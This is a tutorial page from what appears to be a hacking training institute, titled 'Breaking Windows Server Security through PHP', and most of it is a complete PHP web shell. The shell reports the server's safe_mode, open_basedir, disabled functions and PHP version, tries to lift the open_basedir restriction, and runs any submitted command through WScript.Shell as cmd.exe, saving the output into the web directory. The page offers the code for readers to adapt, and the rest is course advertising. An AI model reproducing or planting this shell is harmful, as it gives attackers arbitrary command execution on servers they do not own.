Breaking Windows Server Security through PHP

Filename	Breaking Windows Server Security through PHP
Permission	rw-r--r--
Author	Unknown
Date and Time	7/16/2013
Label	Penetration
Action

Ethical Hacking Institute in Pune
./Arizona Team

Hello everyone, continuing to the part of website security today we are going to see how we can break Windows Server Security through a simple PHP code.

Go through the logical flow of the code and try to understand the logic behind the code, then create a new one for yourself. If you find any difficulty while going through the logical flow of the PHP code you can shoot your questions at instructor@arizonainfotech.com.

Here is the PHP Code:

<body bgcolor=black>
<center>Team Arizona Server Security Breaker</center>
<div align="center"><center>
<table width="558" height="560" border="1" id="AutoNumber1">
 <tr>
 <td width="49%" height="158"><?php
//is safe mod on ? start
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safe="ON";
}
else {$safe="OFF";}
echo "SAFE MOD IS :$safe ";
//open safe mod end--
?>

 
 <?php
//is open basedir on ? start
$n = @ini_get('open_basedir');
if (!empty($n))
{
$base = @ini_restore("open_basedir");
}
else {$base="NONE";}
echo "OPEN_BASEDIR :$base ";
//open basedir end--
?>

 
 <?php
//disable function start
echo "Disable functions : ";
if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df";}
//disable function end--
?>
 
 <?php
//phpver start
$phpver=phpversion();
echo "PHP Version :$phpver ";
//phpver end--
?>
 
 <?php
 //path of win
 $dir = @getcwd();
 echo "U'Re In :$dir ";
 //end
 ?>

<?php
print "<form method=post>";
print "cmd:<input size=50 name='command' value=''>";
print " ";
print "file :<input size=50 name='file' value=''>";
print " ";
print "<input type=submit name=_act value='Execute!'>";
$post = $_POST['command'];
$file = $_POST['file'];
?>
<?php
$_file = new COM("WScript.Shell");
$_file ->Run('cmd.exe /c'.$post.' > '.dirname($_SERVER[SCRIPT_FILENAME]).'/'.$file.'');
?>

www.arizonainfotech.com
CEH CHFI ECSA ENSA CCNA CCNA SECURITY MCITP RHCE CLOUD ANDROID IPHONE NETWORKING HARDWARE TRAINING INSTITUTE IN PUNE

Sadik Shaikh | CEH V9 | ETHICAL HACKING Course Training Institute in India-Pune

Breaking Windows Server Security through PHP Unknown rwxr-xr-x 0 7/16/2013 Penetration